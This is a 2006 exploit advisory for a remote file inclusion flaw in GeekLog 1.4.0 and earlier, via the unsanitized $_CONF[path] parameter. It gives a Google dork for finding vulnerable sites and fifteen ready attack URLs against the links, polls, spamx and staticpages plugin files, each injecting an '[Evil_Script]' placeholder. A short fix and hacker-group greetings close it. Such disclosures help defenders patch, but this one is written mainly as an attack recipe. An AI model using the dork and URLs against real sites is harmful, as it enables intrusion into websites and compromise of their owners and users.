--------------------------------------------------------------------------- 
GeekLog <= 1.4.0 (_CONF[path]) Remote File Include Vulnerabilities
---------------------------------------------------------------------------

Google d0rk: "powered by geeklog"


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RoSecurityGroup.net :
Remote : Yes
Critical Level : Dangerous

---------------------------------------------------------------------------
Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : GeekLog  
version : latest version [ 1.4 ]
URL : http://www.geeklog.net/

------------------------------------------------------------------
Exploit:
~~~~~~~~

Variable $_CONF[path] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script.

were [path] on some cases => www.site.com/[path]/public_html/index.php

# http://www.site.com/[path]/plugins/links/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/polls/functions.inc?_CONF[path]=[Evil_Script] 
# http://www.site.com/[path]/plugins/spamx/BlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/DeleteComment.Action.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIPofURL.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MTBlackList.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MassDelete.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/MailAdmin.Action.class.php?_CONF[path]=[Evil_Script]
#http://www.site.com/[path]/plugins/spamx/MassDelTrackback.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditHeader.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/EditIP.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/IPofUrl.Examine.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/Import.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/spamx/LogView.Admin.class.php?_CONF[path]=[Evil_Script]
# http://www.site.com/[path]/plugins/staticpages/functions.inc?_CONF[path]=[Evil_Script]




---------------------------------------------------------------------------

Solution :
~~~~~~~~~~

declare variabel $_CONF[path]
---------------------------------------------------------------------------


Shoutz:
~~~~~~

# Special greetz to my good friend [Oo]
# To all members of h4cky0u.org ;) and RST [ hTTp://RoSecurityGroup.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RoSecurityGroup.net
/*

-------------------------------- [ EOF] ----------------------------------

# milw0rm.com [2006-06-29]